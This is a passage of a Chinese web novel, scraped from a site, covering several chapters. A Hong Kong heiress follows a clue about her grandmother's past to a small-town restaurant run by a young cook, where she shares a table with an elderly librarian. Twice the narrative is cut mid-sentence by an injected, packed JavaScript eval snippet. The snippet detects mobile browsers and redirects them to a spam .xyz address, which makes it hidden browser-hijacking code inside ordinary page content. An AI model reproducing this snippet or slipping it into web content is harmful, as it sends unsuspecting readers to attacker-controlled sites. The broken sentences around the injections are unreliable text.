和想象中油腻的感觉不太一样，牙齿咬开是软糯中带点弹牙的口感，嚼了几下，满口荤香，油而不腻，卤香浓郁！ 嗯？ 这有点好吃啊！ 咽下之后，唇齿留香，忍不住又夹了一块喂到嘴里。 她跟她爸年初刚到蓉城的时候，当地接待的工作人员带他们吃过卤牛肉，据说是当地非常有名的卤味店，生意确实极好，味道也不错。 但那家卤味店的卤水远没有这个好，没那么香，味道也咸了点。 “奶奶……”连吃了三块的段语嫣抬头看向邱老太，准备发表一下自己的看法，刚好看到一滴泪珠从她的眼角滚落，不禁愣了一下，小声道：“奶奶，你还好吧？” 老太太抬手轻轻揩了一下眼角，笑着摇头：“没事，就是想到了一些事，二十多年了，没想到还能再一次尝到这个味道。” “二十多年？”段语嫣咋舌，“那会我还没有出生呢。” 老太太放下筷子，软声道：“别说是你，那会你爸都才二十岁出头，去香江前，你爷爷给他和你大伯还有幺姑打包了一份卤猪头肉，一袋馒头，坐上了向南的火车。” 段语嫣闻言疑惑道：“奶奶，那你和爷爷为什么不一起逃？留下来吃了那么多苦。” 老太太笑了，语气平淡道：“这本来就是我们的家，为什么要逃呢？你爷爷对这片土地爱可深沉，他说他出国学的知识，就是为了发展和建设祖国的，既然当年选择回来，就不会再走。” “可我爸说，当初是爷爷让他们走的？还给他们的衣服里缝了好几条小黄鱼。”段语嫣不解道。 “留下是你爷爷和我的选择，让孩子走，是当时对他们更好的选择。”邱老太笑盈盈道：“你爷爷是个犟种，可以自己吃苦，但见不得儿女受苦。” “那他就见得您受苦？”段语嫣带着几分不忿，“您跟着他留下，可吃了不少苦呢。” “他当年把票和人都打点好了，是要让我一起走的。”老太太摇头，脸上的笑都柔和了几分：“留下也是我的选择。” 段语嫣愣愣出神，好像明白了什么。 一个选择了留下建设祖国，一个选择留下陪着他。 “奶奶，你跟我去香江吧，爸、大伯还有小姑都在香江成家立业了，一家人团圆不是挺好的吗？您一个人留在这里，太苦了。”段语嫣温声道，眼眶微微泛红。 爷爷去世三年，老太太一个人守着老宅，身边一个子女都没有。 他们今年年初才得以回来探亲，这三年她该有多孤独啊。 “乖乖，你哭啥子嘛，我在这里过得多安逸的。”老太太伸手摸了摸她的脸，笑着道：“你看，我早上起来就去吃半笼纸皮烧麦，再喝一碗峨眉豆腐脑。中午转到隔壁周老三那里去吃一份鲜烧牛肉，煮的多耙活，味道又好。 下午没得事就跟几个老姐妹聚一起搓麻将，或者到岷江河边吹着江风，喝坝坝茶，聊聊天。晚上再一起去吃牛华麻辣烫或火锅。 剧院隔三岔五要表演川剧，花几毛钱买张票，喝着茶看一个下午，更是舒舒服服。这日子每天都安排的明明白白，哪里苦？” 段语嫣闻言愣了一下，她爱睡懒觉，几乎每天起来都是吃午饭的点，老太太有时候在家做饭，有时候带她出去吃。 吃完她就到处去溜达，比如去百货公司逛一逛，去电影院看看电影，或者去剧院看他们的文艺演出。 倒是没想到老太太一天的生活，竟也如此丰富多彩。 “可是，你在这里举目无亲，去了香江，我们都在身边。”段语嫣说道。 老太太笑着摇头：“你爸和你大伯忙着做生意，天南地北的飞，你妈一年都不一定能跟他待在一起三个月，更别说我这个老太太了。 你小姑嫁了个英国佬，虽然在香江置业，但每年要去英国待大半年，又要带两个孩子，更没时间陪我这个老太太了。” 段语嫣一时竟无言以对，她小的时候，经常一个月都见不着她爸爸两回，现在生意稳定了还稍微好一点，经常能一起吃饭了。 想了想，她又说道：“他们没空我有空啊！香江也可好玩了呢，我可以带你去海洋公园看鲨鱼、水上乐园坐过山车，去中环广场逛街，去铜锣湾……” 老太太看着她，笑容温柔：“乖乖，你也会有自己的生活。我从来不觉得谁亏欠了我什么，这是我自己选择的人生，每一步都是，所以我能承担所有结果。” 段语嫣把脑袋贴过去，蹭了蹭老太太的手，她奶奶太帅了，清醒到她完全无法反驳。 他爸多强势的一个人，在老太太面前还不是一样低声下气，半点脾气都没有。 这顿饭吃了一个多小时。 四个菜只吃了一半左右。 老太太让服务员把剩了一半的卤猪头肉给打包了。 黄鹤亲自送出门，先前送他们来的那辆人力三轮车已经在门口候着了。 “老汉儿，刚刚那个漂亮的姑娘是谁？之前怎么没有见过呢？”黄兵刚从苏稽回来，准备再来练会刀工，看到段语嫣的侧脸，如见天仙，等三轮车走远了，上前小声问道。 黄鹤瞪了他一眼，沉声道：“你莫要东想西想哈，你骗骗街上那些没啥脑子的姑娘，不搞出人命来我也懒得管你，段小姐你要是敢起半点歪心思，老子一定收拾你。” “老汉儿，我就是随口问一句，你这么凶干啥子。”黄兵缩了缩脖子，嘀咕道：“她们家很有钱？” “港商，而且在蓉城有大投资，记住，出门绕着走。”黄鹤告诫道。 “要得。”黄兵点头，看着三轮车远去的方向，还是不禁赞叹了一声：“她可真漂亮。” “也不看是谁的孙女，比起当年的邱太太，还是差了点。”黄鹤也是笑道。 …… 入了冬的晚风有点凉，老太太把披肩紧了紧，目光看着远处亮着零散灯光的街道，表情恬静。 “奶奶，你是不是在等谁？”段语嫣最终还是没忍住问出了心中的疑惑。 老太太沉默良久后，轻声道：“明天你让小严送你去一趟苏稽，帮我看看苏稽石板桥头的张记卤味是不是重新开业了，我想吃卤牛肉了。” “好。”段语嫣点头，眼里光芒闪耀。 来了半年，这是奶奶第一次主动让她去办事！莫非答案在苏稽？！ 前几年，邱家和段家老宅一并归还。 邱家老宅年久失修，又在闹市之中，人来人往，外边游船和轮船的汽笛声此起彼伏，居住起来实在吵闹，远不如占地更宽，位置更佳，也保存的更为完好的段家老宅。 年初回来，除了陪老太太，他爸还拿了一笔钱，把段家老宅给修缮了一遍，买了不少老物件，修复的古色古香，反正他爸挺满意的。 可老太太只去看过一会，说修的挺好，但一天都没去住过。 如今段家老宅那边还空着，请了个族叔守着，负责打扫卫生和维护。 邱家老宅实在有些太破了，老太太又隔了两个门市出租，人多且杂，他爸想推倒重修，又被老太太给拒绝了。 这可把她爸给愁坏了，只好请人来简单加固修缮了一遍，但还是觉得老太太住在这里不安心。 想把邱家老宅这破房子卖掉，也是这个原因。 一家子犟种，谁都没法说服谁。 她爸有回和朋友喝了酒回来，跟段语嫣提过一嘴，觉得老太太像是在等什么人。 所以她守着邱家老宅不愿意走，也不愿意拆，就是怕那人回来再找不到。 这瓜让段语嫣在嘉州多呆了半年。 来嘉州之前，她对于爷爷奶奶的了解，仅限于逢年过节长辈们聚在一起怀念家乡和父母时的讨论，以为就是一个啥也不懂的西部小城封建固执的老太太。 来到嘉州之后，她和老太太每天吃住在一起，对于这个精致而优雅的老太太，渐渐有了更多的了解。 老太太出身书香世家，念过书，懂礼节，人前永远优雅端庄，头发挽起，一丝不苟，说话不急不缓，那双清亮的眼眸像是能够看穿别人的心思。 她还和爷爷一起留过洋，见过大世面，有主见，有思想，从不讲大道理，但也不会被别人轻易说服。 说起爷爷，她的眉眼间尽是温柔与骄傲，依然像个小娇妻。 段语嫣私下曾问过许多街坊和邻居，他们对两人的评价都是：举案齐眉，相敬如宾，伉俪情深。 种种迹象表明，他们之间应该不存在一个第三者才对。 “苏稽，张记卤味，卤牛肉。”段语嫣有种获取了关键碎片的感觉。 再有一个月，她朋友结婚，她就要回香江去了。 如果她不能把老太太带回去，那他爸交给她的任务就宣告失败。 不光一百万奖金没了，分公司副总经理的职位也没了。 …… “1323.46元。”周砚在账本上写下存款数，把一沓沓用橡皮筋捆好的零钱放进箱子。 存款稳定增加中，但距离一万存款的目标尚且遥远。 前几日在嘉州东大街看中的那栋房子，周砚是真喜欢。 已经传出消息要卖的房子，心头不自觉的惦记着，总担心被人捷足先登。 口袋里没钱，总归是没有底气。 现在他只能期望于那位邱老太的心结尚未解开，房子还暂不出售。 只要没卖，那他就有机会。 周砚最擅长为人排忧解难了，只要有利可图，他行动力满满。 “周末再去一趟嘉州，去摸排一下其他之前和奶奶有合作的酒楼，再探访一下那房子的情况，提前做一些功课和准备。”周砚在心里思量着，提前做些规划。 想买这个房子分两步，一是准备好一万块钱，二是要为那位香江来的大小姐排忧解难，说服老太太搬出那老房子。 不简单，不简单呢！ 先做好第一步，攒钱！ 收起账本，周砚拿过床边的《人生》，开始学习。 十分钟后，书盖在脸上，成功入眠。 …… 第二天临近中午。 一辆挂黑牌照丰田皇冠缓缓行驶在苏稽老街上，引得苏稽居民纷纷侧目。 后排车窗降下，段语嫣左右打量了街上的平房，还有街边穿着朴素，面带好奇之色的小镇居民们。 这车是她爸给她留下的，方便她出行，他的公司在蓉城和羊城都有投资，外商的车可以悬挂车牌。 司机名为严飞，三十岁，留着平头，既是司机，其实也是保镖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200254|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “段小姐，前边就是苏稽的石板桥。”严飞将车停在一处空旷坝坝上。 “也没看到什么张记卤味啊？”段语嫣推开车门下车，往桥头走去。 严飞把车熄火，落后几步跟上。 段语嫣在桥头转了一圈，倒是看到了几个摊摊，有卖面的，有卖米花糖的，还有一家买卤味的，但挂的是李记卤味。 段语嫣试图找人问问。 结果她的港普对上嘉州话，简直一塌糊涂。 她和买米花糖的大爷一通交流，最后付了一块钱买了一包米花糖，啥也没问明白。 段语嫣一脸懵的抱着一包米花糖回来了。 她以为她这半年多已经完全能听懂嘉州话了，结果竟然败的那么惨！ 她这才意识到，她奶奶跟她讲的是川普，而不是正宗的嘉州话。 而平时街坊邻居们都是刻意放慢了语速跟她交流的，让她能够没什么障碍的交流。 大爷的语速快，嘉州话又过于正宗，听得她两眼一黑又一黑。 严飞抿着嘴站在旁边，短短几分钟内，把这辈子最痛苦的经历全部在脑海里回忆了一遍，才忍住没有笑出来。 他是受过专业训练的，一般不会笑场。 “段小姐，接下来要去哪里？”严飞微笑问道。 雇主开的工资很高，他自然要有服务态度。 “严哥，要不你帮我问问？我感觉他们听不懂我讲话。”段语嫣直接求助，严飞是嘉州本地人。 “好。”严飞点头，走过去问了一圈，回来跟段语嫣道：“段小姐，我问了不少街坊，他们说张记卤味二十多年前就没有再出过摊了。” “二十多年没有出摊吗？”段语嫣有些失望，难道线索从这里就断掉了？ “不过刚刚有一位街坊说，张记卤味老板娘的孙子，在嘉州纺织厂门口开了一家饭店，把张记卤味传承下来了，味道和当年的张记相差无几。”严飞接着说道：“你要不要去看看？” “孙子？当然要去看看！”段语嫣果断点头，来都来了，说不定能从那孙子那里买到卤牛肉，顺便打听到一些消息呢。 车子重新发动，围在车前车后的孩子们一哄而散。 “小汽车！好气派哦！这是从城里来的有钱人吗？怕是万元户才能买得起哦！” “这是皇冠车，一台车要好几十万呢，挂的黑牌照，一般万元户都买不起，肯定是外商。看到那个年轻妹儿没得，口音跟电视里的港台明星一模一样，多半是来寻亲的。” “还是方三有见识，去过羊城的人是不一样！” “这不就是资本家大小姐吗？哼！” 街坊们议论纷纷。 在这个摩托车都是豪车，二八大杠都让人羡慕的年代，开小汽车属实超乎小镇居民的想象了。 从老街转到纺织厂的大道上，路况明显好了许多。 段语嫣想低调行事，便让严飞离工厂大门几百米就把车靠边停下，步行过去。 “嘉州纺织厂是嘉州创汇大户……”严飞落后半步，一边走，一边给段语嫣介绍道。 他这个司机身兼多职，除了开车、保镖之外，还需要兼任翻译、向导等工作。 当然，雇主工资给的高，多干点活也是应该的。 “你看，前边就是周二娃饭店。”严飞介绍道。 而这会，一位头发花白的大爷，骑着自行车不紧不慢地从他们身旁经过，同样看向了周二娃饭店的招牌，脸上露出了几分笑意。 “工厂门口的小饭店，真能做出好吃的卤味吗？”段语嫣抬头看了眼那简陋的手绘招牌，门口支着一张小桌，有个大叔正在切猪头肉，他身后立着一口大锅，冒着腾腾热气。 瞧那猪头肉的色泽，和昨晚吃的几乎没有区别，大叔手里的刀，快的让人晃了眼。 再往店里看了一眼，竟是座无虚席。 这让她有点诧异。 想找商贩打探消息，那就先在他这里买点东西，这是他爸教她的小方法。 “刚好饿了，先吃个午饭吧。”段语嫣和严飞说道，迈步往店里走去。 汪大爷把车停好上锁，也是刚踏进店里。 “大爷，吃饭啊？几个人？”赵铁英笑着迎上来。 “对，一个人。”汪大爷笑着说道。 “要得，刚好那边有张桌子在收，稍等一会。”赵铁英笑着点头，指着最里边靠近厨房门口的位置。 赵红已经把碗收了，正在擦桌子。 “要得。”汪大爷点了点头。 赵铁英跟着瞧见了进门来的段语嫣，眼中闪过一丝惊艳之色，笑着开口：“乖乖，你也来吃饭？几个人？” “两个。”段语嫣伸出两个手指，简单的常用语她听起来毫不费劲，简直手拿把掐。 这嬢嬢看着好亲切，笑盈盈的，还喊她乖乖欸！ “两个……”赵铁英左右环视了一圈，有些不好意思道：“不好意思啊乖乖，你们可能要等一会，现在没得空桌。” “要等座？”段语嫣有点意外，没想到一家小饭店的生意竟然那么好，她在飞燕酒楼吃过那么多回，可都没等过座呢。 周砚端着两盘火爆猪肝从厨房出来，看到汪大爷有些惊喜道：“大师？你怎么来了？” “你肉卤的好，今天来尝尝你炒的菜如何。”汪大爷笑着应道。 “欢迎指教。”周砚笑了，把两盘火爆猪肝给隔壁两桌客人上了，“那你先坐嘛，刚好有张桌子收出来。” 周砚一边和汪大爷说话，顺便向后边看了一眼，便瞧见了一位贵气逼人的年轻姑娘站在饭店门口。 高高瘦瘦的，一头羊毛卷，五官精致，画了淡妆，看起来颇为矜贵。 内搭米白色的小高领，外套一件质感十足的黑色西装，穿的阔腿牛仔裤，配棕色矮跟短靴，头上还戴了顶黑色贝雷帽，右手戴的卡地亚钻石手表熠熠生辉，手上挎的古驰竹节包，双G商标格外醒目。 好家伙！ 港风名媛啊！ 汪大爷没急着落座，而是转身看着段语嫣和严飞微笑道：“我看等座要有一会，两位要是不介意，可以和我拼桌，我只点一个菜，不占好大地方，没得影响的。” 你们太牛逼了！一天干了两千多票！ 晚上还有一更，我继续写！ 感谢各位股东的支持！！ 继续求月票！ (本章完) 第137章 不对不对死脑子快停下！（4k月票55 第137章不对不对……死脑子快停下！（4k月票5500加更！） 段语嫣看着端着两盘菜从厨房出来的周砚也是愣了一下。 她有一米六八，平时爱穿高跟鞋，到了嘉州，发现这边的青年普遍不是很高，出门自觉换上了矮跟靴。 但眼前这个青年厨师至少有一米八，宽肩窄腰，身材比TVB的明星都好。 抬头看脸，寸头清爽利落，棱角分明，五官深邃，一双看狗都深情的桃花眼，这会正看着她，对视了一眼，还朝她礼貌地笑了一下。 确实长得有点好看。 段语嫣是见过世面的人，红馆演唱会前排常客，常跟着她当投资人的小姑去剧组探班，不至于犯花痴。 但在这小镇小饭馆里看到这样一位年轻俊朗的厨师，多少有点惊讶。 要是出现在中环的高端西餐店里煎牛排，她就觉得比较合理了。 不过！ 他会不会和奶奶有什么关系呢？ 奶奶流落在外的孙子？她同奶异爷的哥哥？或是她初恋的孙子？ 段语嫣的脑子疯狂转动，试图从周砚的脸上找到答案。 该死！ 长得这么帅，有一定可能是遗传了奶奶的美貌啊！ 奶奶让我来找张记卤味的目的是什么呢？ 让我们兄妹相认？ 我倒是……不介意多一个帅气的远房哥哥。 但我爸爸能受得了吗？ 还有……他以后会不会跟我争家产啊？ 短短数秒，段语嫣的脑子里已经排了一部宅斗剧。 内容甚至涵盖了同奶异爷哥哥爱上我，被我打爆狗头这种狗血桥段。 哦！真是一个糟糕的家伙！ 不对不对…… 死脑子快停下！ 不能过度联想，人家甚至还没有开口说一个字。 作为一个侦探小说爱好者，她有时候真是拿自己聪明的脑子没办法。 为表歉意，她给周砚还了一个含蓄的微笑。 同样愣住的还有发出邀请的汪然汪大爷，他看着段语嫣，嘴巴微微张着，眼中难掩惊讶，垂在腿边的手都不觉微微颤抖。 怎么会……如此像她？ 尘封的记忆，如同被搅动的水潭，骤然波涛汹涌。 严飞看了眼汪大爷，目光警惕的盯住周砚。 老板离开嘉州之前，给他的第一要务是保护段小姐和老太太的安全，第二要务是严防段小姐被宵小之辈惦记。 严飞一个月拿八百块钱工资，抵得上一起退役的兄弟一年半的薪水，他对这份工作格外珍惜。 老板说了，等邱小姐完好返回香江的时候，还会给他发一笔奖金。 他和老婆已经看好一栋蓉城房子，只等奖金到手就下手。 光是这段时间从邱家老宅附近打跑的黄毛就超过两位数，路过的黄毛多看一眼都得挨俩巴掌。 他的眼里只有对奖金的渴望。 所以，当周砚冲着段小姐笑的时候，他已经盯上了他。 不过周砚段位比路边的黄毛高太多了，长得高，长得又帅。 男人都承认的帅，那肯定是硬帅。 再观察观察。 周砚听到了汪大爷的话，微笑着和这位港风大小姐说道：“这位女同志，汪大爷的话你可以考虑一下，当然，我们中午和晚上拼桌全凭自愿，先到先坐。” 背古驰包，戴卡地亚手表，还有保镖跟着，周砚的脑子里第一时间想到的是东大街那座邱家老宅那位港商大小姐。 好巧啊，他还没去找，她自个就找上门来了。 这种机会不好好拿捏，下回上哪托人找门路？ 见到大小姐慌不慌？ 一点不慌！ 作为一个美食界的颜值博主，出名之后，没少接触有钱的大小姐、小贵妇。 当然，他的经验多数局限于微信上的逢场作戏，线下对线经验相对较少。 不过好在他脸皮厚，根本不带怕的。 一声女同志，先把自己淳朴青年的形象树立起来。 “女同志？”段语嫣有点意外，这称谓，她只在蓉城跟她爸见领导的时候被这样叫过一回，对方是个五十多岁的老领导。 其他人一般喊她段小姐或者段姑娘，有些嬢嬢会喊她乖乖，也有喊她妹儿的。 从周砚的嘴里喊她女同志，感觉确实有点特别。 她甚至已经开始愧疚了。 死脑子，竟然对这位同志如此污名化！ 段语嫣看了眼那张空桌，正对着厨房门口，坐在那里，应该能看到厨房里的景象，也就是看到在厨房做饭的厨师。 她正想好好观察一下周砚。 她再看了眼大爷。 大爷高高瘦瘦的，腰板笔直，戴着一副黑框眼镜，脸上满是细纹，一头白发二八分，梳的一丝不苟，年轻的时候长得肯定不赖。 身上穿着一件洗的发白的靛蓝色中山装，手肘和裤子有好几处补丁，脚上穿着一双千层底的布鞋，看着不觉得寒酸，只觉得干净清爽，有种书卷气在身上。 段语嫣下意识站直了几分，从这位大爷的身上，她看到了几分他们中文系罗教授的影子，眼里自然多了几分敬意。 “如果您不嫌弃的话，那可太荣幸了。”段语嫣微笑道。 她其实也没和陌生人拼过桌，不过这位大爷看起来挺和蔼的，人家先来还愿意拼桌，所以就点了头。 “没事。”汪大爷已经恢复了平静，点点头，转身往桌子走去。 “妈，给客人点餐。”周砚招呼了一声，也是转回厨房忙去了。 中午只有高峰期，必须要以最快的速度让工人们吃上午饭，并给他们留够午休的时间。 至于这位资本家大小姐为什么会出现在他的饭店，周砚还真有点好奇。 最大的可能性，是来苏稽游玩，然后看到这个小饭店生意那么好，一时好奇进来的。 反正不管怎么样，他都得想办法和她之间产生一些羁绊，找到拿下那栋老宅的钥匙。 汪大爷靠里边坐下。 段语嫣快走一步，在大爷右手边坐下，坐在这个位置，微微侧头就能看到厨房里很大一块区域，比如正在灶台前炒菜的周砚，以及灶台旁边的小板凳上坐着的那个昏昏欲睡的小姑娘。 欸？ 小姑娘长得还有点可爱。 不重要，她的目光主要还是集中在周砚身上。 从背后看他，白色棉质衬衣扎进黑色裤子，腰间系着一条皮带，显得腰细，腿长，手里拿着铲子，不停翻炒，肩还挺宽阔的，卷起的袖子露出一截小臂，全是精干的肌肉线条，手指也挺好看的，修长笔直。 段语嫣的喉咙滚动了一下。 俏脸微红，连忙收回目光。 该死！ 吞什么口水啊？！ 对！ 一定是因为太香了。 好香啊，是肉香味！ 她目光左移，落到了隔壁桌刚上桌的回锅肉上。 蒜苗回锅肉，卷曲的肉片，青白交杂的蒜苗和叶子，油亮油亮的，闻着怎么会那么香？ “菜单在墙上，你们看要点什么菜。”赵铁英走了过来，微笑说道。 “我要一份蒜苗回锅肉，再要一碗饭。”汪大爷开口道。 “要得。”赵铁英在纸上快速写下。 段语嫣没有急着点，先看了一遍菜单，目光又在隔壁几桌上扫过，开口问道：“嬢嬢，他们点的是什么汤？” “哦，那是跷脚牛肉。”赵嬢嬢笑着应道。 段语嫣黛眉微蹙，扫了眼菜单，豁然开朗，高兴道：“那我也要一份跷脚牛肉。” 这牛肉汤看着不错，颜色清亮，他好久没喝到好喝的汤了。 “再要一份红烧排骨，一份双椒碎花牛肉，一份凉拌鸡，还要一份卤猪头肉。”段语嫣看着菜单快速点着。 赵嬢嬢写完，看着段语嫣道：“乖乖，你们两个人，这菜有点多哦。” “没事，严哥饭量大，他能吃完的。”段语嫣嫣然一笑。 “嗯。”严飞点头，那有什么办法呢，小姐请吃饭，点多少吃不完都算他的。 “要得。”赵嬢嬢应了一声，撕了点菜单递进厨房。 段语嫣单手托腮，假装思考，眼睛则是盯着厨房里的周砚。 他好忙啊，一人顾着两口大锅，左边炒回锅肉，右边炒火爆猪肝，空档还要盛红烧排骨和牛肉烧笋干。 后厨就他一个人，店里近六七十个客人的菜全部经由他的手做出来的。 忙归忙，可他干活却忙的有条不紊。 一道道菜从厨房里端出来，送上客人的餐桌。 菜好不好吃，从客人的表情就能看得出来。 几乎每个客人的脸上都流露出了满意的笑容。 这样因为美食而展露的开怀笑容，她在香江中环的高端餐厅里从未见过，每个人的脸上都端着谨慎的假笑。 她在嘉州呆了半年多还没觉得腻，除了每天能够吃到各种稀奇古怪的美食之外，出门能在大部分人的脸上看到纯真而美好的笑容，大概也是非常重要的原因吧。 这样的笑容，在香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200255|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 港那些高楼大厦笼罩的街道上，只能在孩子们的脸上看到。 生活变慢了，钱花不出去，但精神是富足且放松的。 她这半年看的书，比她大学四年看的还要多。 他看起来好年轻，但又好像是一个非常厉害的厨师。 这一点让她有些意外。 因为她原本以为厨房里还有一位年长的厨师，他只是帮厨而已。 “你好，我叫汪然，在苏稽镇上当图书馆管理员。”汪大爷看着段语嫣微笑开口。 段语嫣连忙说道：“您好，我叫段语嫣，目前……待业。” 原来是图书管理员！ 隐藏大佬经常会选择的马甲！ 最有名的，莫过于北大图书馆管理员。 罗教授对他的文学和军事造诣可是推崇至极。 段语嫣的态度又敬畏了几分，作为港大中文系毕业的大学生，她已经隐约感受到了压迫感。 放心，绝对不会报专业的！ “段……”汪大爷手又抖了一下。 “段语嫣。”段语嫣接着道。 “好名字。”汪大爷笑着点头，“听你口音，是从香江回来的？” 段语嫣有些好奇的看着大爷：“是的，您普通话说的挺好的，还能听得出我的口音，之前有去过香江或者广东吗？” 和其他人不同，这位大爷跟她说的是普通话，四川话口音不是很重，她能轻松听懂。 汪大爷眼中露出了几分回忆之色，微微点头，“去过，不过是四几**情了，打鬼子。” 段语嫣肃然起敬，又有几分惊讶，这大爷看着一身书卷气，不像是上过战场杀过鬼子的老兵啊？ “回来探亲的？”汪大爷随口问道，手已不自觉握成了拳头。 “对，我……”段语嫣点头，正想往下说。 “段小姐，先喝点汤吧。”刚好跷脚牛肉上来，严飞立马开口打断了她的话，拿起碗给她盛了一小碗汤。 “好。”段语嫣点头，安静喝汤。 她爸跟她交代过，在外面别把什么话都往外兜，特别是陌生人。 这大爷让她有种长辈的感觉，所以下意识的就多说了几句，但仔细一琢磨，又觉得对方好像有点刻意了。 严飞冲着汪大爷微微点头，既表示对抗战老兵的尊敬，但也明确表态要距离感。 这年代的港商可太让人惦记了，这大爷的问题让他心生警惕。 汪大爷笑了笑，也没有再多问。 段语嫣喝了两口汤，眼睛顿时一亮，吹了吹热气，又喝了两口。 这牛肉汤好鲜啊！ 汤色特别清澈，面上只有微微油光，一点都不油腻，也没有膻味。 她看向碗里，先夹了一片牛肉，也不蘸辣椒面，直接喂到嘴里。 牛肉特别鲜嫩，竟是让她有了一种吃潮汕牛肉火锅的感觉。 火候把控的太好了，格外鲜嫩，嚼起来满满的汁水，比潮汕牛肉的汤底还要更鲜。 一片接一片，六片薄薄的吊龙就全进了她的肚子。 吃完有种意犹未尽的感觉。 段语嫣扒拉了一下碗里，毛肚、牛肠和牛筋。 她尝了一块毛肚，这是川味火锅里相当有特色的食材，不爱内脏的她，也很难抵抗这一口脆爽的口感。 渣渣渣！ 嚼起来是脆的，而且特别嫩，脆嫩化渣。 就是差点味道。 她又夹了一块毛肚，在那碟辣椒面里微微蘸了一下，裹上了些许辣椒面，然后喂到嘴里。 “嗯！好香！” 变了！完全变了！ 原本味道平平无奇的毛肚，仿佛被施展了点睛之笔，竟是一下子变得美味起来。 这辣椒面看着红红火火，吃起来辣味并不歹毒。 以香为主，辣味为辅，连她这个微辣选手都甘之如饴。 毛肚吃完，她又尝了一块牛蹄筋，软软糯糯的。 嗯……不是她喜欢的感觉。 至于牛肠，她思考了片刻后，拒绝尝试。 段语嫣的目光转回到菜单上，面露思索之色：“六毛钱六片牛肉，六片毛肚，一片五分钱，比吃火锅还便宜啊！” “嬢嬢，我们再要两碗跷脚牛肉。”段语嫣举手示意，然后把土碗往严飞面前一推，笑着道：“严哥，这是你的了。” 严飞：“啊？” (_) 你是会吃的。 万更求月票！ 股东们太给力了！！！ 明天继续万更！ (本章完) 第138章 都是千年老狐狸装什么聊斋（62k二合 第138章都是千年老狐狸装什么聊斋（6.2k二合一） 段语嫣要了三碗跷脚牛肉，没想到在嘉州小镇吃上了清汤牛肉火锅。 真鲜啊！ 再喝一小碗汤，已经有了三分饱。 难怪这小小饭店能人气爆满，这汤可比飞燕酒楼的壮骨汤好喝多了。 飞燕酒楼的壮骨汤她喝过一回，当时她非要点，奶奶都没拦住她。 有点油腻，中草药的味道太突出了，已经掩盖了肉香，喝起来有种在喝中药的感觉，反正她是不喜欢的。 相反，这跷脚牛肉汤她就挺喜欢的。 一旁，严飞把最后一碗汤吨吨吨喝完，小小打了个饱嗝。 鲜！ 这汤实在是太鲜美了！ 本来对着三碗跷脚牛肉，他还有点迟疑，这分量属实有点足，他们点的菜还一道没上呢。 然后他喝了一小碗汤，再吃了一块牛板筋和一块牛肠。 嗯！味道也太好了！ 大小姐不爱吃的牛肠，在辣椒面一滚，口感耙软，里边裹着一口荤香满满的油脂，一口下去，香香辣辣，味道简直绝了！ 牛板筋软糯极了，越嚼越香，和辣椒面也是绝配。 就连垫在底下的莲花白，吸满了肉汤之后，也是格外鲜甜。 他也暗自惊讶，苏稽的小饭店，竟能有如此美味的牛肉汤，之前怎么从未听说过？ 段语嫣放下筷子，等菜无聊，又忍不住主动开口和大爷搭话：“大爷，您在图书馆当管理员多少年了？应该看了不少书吧？” 汪大爷略一思索，微笑道：“八年了，书架上的书基本都翻过，不知道年底县里会不会送一批新书过来。” “都看过？”段语嫣咋舌，好奇问道：“这镇上的图书馆有多少书啊？” 汪大爷不假思索道：“馆藏两千八百二十三本，这两年增加了不少，类目也丰富了一些。” “您可真厉害！”段语嫣不禁赞叹道。 这馆藏书的数量不算多，但对于这样一个小镇图书馆来说也不少了。 而对于个人而言，八年看完两千八百多本书！ 这可真是太厉害了！ 她在嘉州待了半年，每天坚持看书三个小时，目前也只看了八十本左右，预计回香江前能看完一百本。 “不过是一个无聊到只能看书的老头罢了。”汪大爷笑着摇了摇头，语气中带着几分自嘲。 段语嫣接着和汪大爷聊起了书，从哲学到历史，从**选到马克思，她挑起的话题，大爷基本都能接得住，而且聊的颇有深度和内涵，一些见解更是让她有种耳目一新的感觉。 他的阅读量太广博了，应该不止镇图书馆里的那两千八百本书，甚至连外国名著和历史都有涉猎，有些书在国内应该尚未有人翻译出版。 段语嫣迟疑道：“您，留过洋？” “没有留过洋。”汪大爷摇头，笑着道：“不过那时候跟洋鬼子做买卖，学过洋文，基本的沟通和阅读没问题，那会没事的时候就看书，能让人忘却很多事。” 段语嫣微微点头，大爷脸上的细纹之中，藏着许多经历与故事。 汪大爷点的蒜苗回锅肉先上了桌，他看了看，笑着点头：“这回锅肉正宗，灯盏窝炒的好，颜色也好看，这小子，确实有些本事。” 段语嫣闻着五花肉的香味，喉咙滚动了一下。 这肉是半肥瘦的，对她来说完全无法接受。 可炒的太香了，蒜香夹杂着肉香扑鼻而来，在一张桌上，想逃都没地方逃。 “尝尝？二刀肉炒的正宗蒜苗回锅肉，用的还是农村的土猪，换其他地方应该很难吃到。”大爷笑着把盘子往段语嫣的方向推了一点。 “您吃，我从小不爱吃肥肉，这对我来说有点太肥了。”段语嫣连忙摆手。 要是她跟奶奶俩个人的时候，她还能光吃瘦肉吃，尝个味道。 奶奶饭量也小，吃不完从不勉强她光盘。 在外面蹭吃，她可不敢这样做，不想被人在背后嚼舌根。 汪大爷也不多言，拿起筷子夹了一块回锅肉，油光闪闪，颤颤巍巍，看得他微微点头，中间夹了一根蒜苗，喂到嘴里嚼了嚼，嘴角已经不自觉的上扬。 嚼完咽下，扒拉了两口米饭，又夹了一块喂到嘴里，一口肉，两口米饭。 他没说话，但上扬的嘴角和不停的筷子已经说明了一切。 “香吗？”段语嫣还是没忍住开口。 